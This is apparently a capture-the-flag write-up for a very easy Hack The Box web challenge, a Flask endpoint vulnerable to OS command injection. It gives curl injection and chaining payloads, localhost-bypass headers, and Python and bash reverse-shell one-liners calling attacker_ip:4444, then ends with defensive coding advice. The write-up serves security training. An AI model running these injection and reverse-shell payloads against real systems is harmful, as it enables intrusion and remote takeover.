HTB Hack The Boo Practice: Web Pumpkinspice
Challenge Information
| Attribute | Details |
|---|---|
| Event | Hack The Boo Practice |
| Category | Web |
| Challenge | Web Pumpkinspice |
| Difficulty | Very Easy |
Summary
A Flask application provides a statistics endpoint that is supposed to be restricted to localhost access. However, the endpoint contains an OS command injection vulnerability that allows arbitrary command execution. By bypassing the localhost check or exploiting the command injection, an attacker can execute arbitrary system commands and retrieve the flag.
Analysis
The vulnerable Flask application:
@app.route("/api/stats", methods=["GET"])def stats(): remote_address = request.remote_addr if remote_address != "127.0.0.1" and remote_address != "::1": return render_template("index.html", message="Only localhost allowed")
command = request.args.get("command") if not command: return render_template("index.html", message="No command provided")
results = subprocess.check_output(command, shell=True, universal_newlines=True) return resultsVulnerabilities:
- OS Command Injection: The
commandparameter is directly passed tosubprocess.check_output()withshell=True - Weak Localhost Check: The localhost verification can potentially be bypassed
- No Input Validation: No sanitization of command input whatsoever
- Unrestricted Code Execution: Any system command can be executed with the application’s privileges
Solution
Method 1: Direct Command Injection (if running locally)
If you can run requests from localhost:
curl "http://127.0.0.1:1337/api/stats?command=id"curl "http://127.0.0.1:1337/api/stats?command=cat%20flag.txt"curl "http://127.0.0.1:1337/api/stats?command=ls%20-la"Method 2: Command Chaining
Use shell operators to chain commands:
# Using semicolon (execute multiple commands)curl "http://target:1337/api/stats?command=whoami;cat%20flag.txt"
# Using pipe (pipe output)curl "http://target:1337/api/stats?command=id%20|%20cat"
# Using && (conditional execution)curl "http://target:1337/api/stats?command=id%20&&%20cat%20flag.txt"
# Using backticks or $() for command substitutioncurl "http://target:1337/api/stats?command=cat%20\$(find%20/%20-name%20flag.txt%202>/dev/null)"Method 3: Localhost Bypass (if external)
If the application is behind a proxy or running in a container, try:
# IPv6 loopbackcurl "http://[::1]:1337/api/stats?command=cat%20flag.txt"
# X-Forwarded-For header (if proxy trusts it)curl -H "X-Forwarded-For: 127.0.0.1" "http://target:1337/api/stats?command=cat%20flag.txt"
# X-Real-IP headercurl -H "X-Real-IP: 127.0.0.1" "http://target:1337/api/stats?command=cat%20flag.txt"Method 4: Using Python
import requests
url = "http://127.0.0.1:1337/api/stats"
# Get the flag directlyparams = {"command": "cat flag.txt"}response = requests.get(url, params=params)print(response.text)
# Or with command chainingparams = {"command": "pwd; cat flag.txt; id"}response = requests.get(url, params=params)print(response.text)Method 5: Reverse Shell (for full system access)
Create a reverse shell to maintain persistence:
# Python reverse shellcurl "http://127.0.0.1:1337/api/stats?command=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22attacker_ip%22,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27"
# Bash reverse shell (simpler)curl "http://127.0.0.1:1337/api/stats?command=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/attacker_ip/4444%200%3E%261%27"Key Takeaways
- Never use
shell=Truewith user input - always use parameter arrays - Localhost checks are not sufficient security controls
- Command injection can be prevented by:
- Using
subprocess.run()with a list of arguments (no shell) - Implementing strict input validation with allowlists
- Using shlex.quote() for escaping if shell is needed
- Using
- Example of safe code:
import subprocessimport shlex
# Safe: Using list format without shellresult = subprocess.run(["cat", "flag.txt"], capture_output=True)
# Or with proper escaping (still vulnerable to logic injection, not preferred)result = subprocess.run(f"cat {shlex.quote(filename)}", shell=True)- Always assume that restrictions like localhost checks can be bypassed
- Implement defense in depth with multiple security layers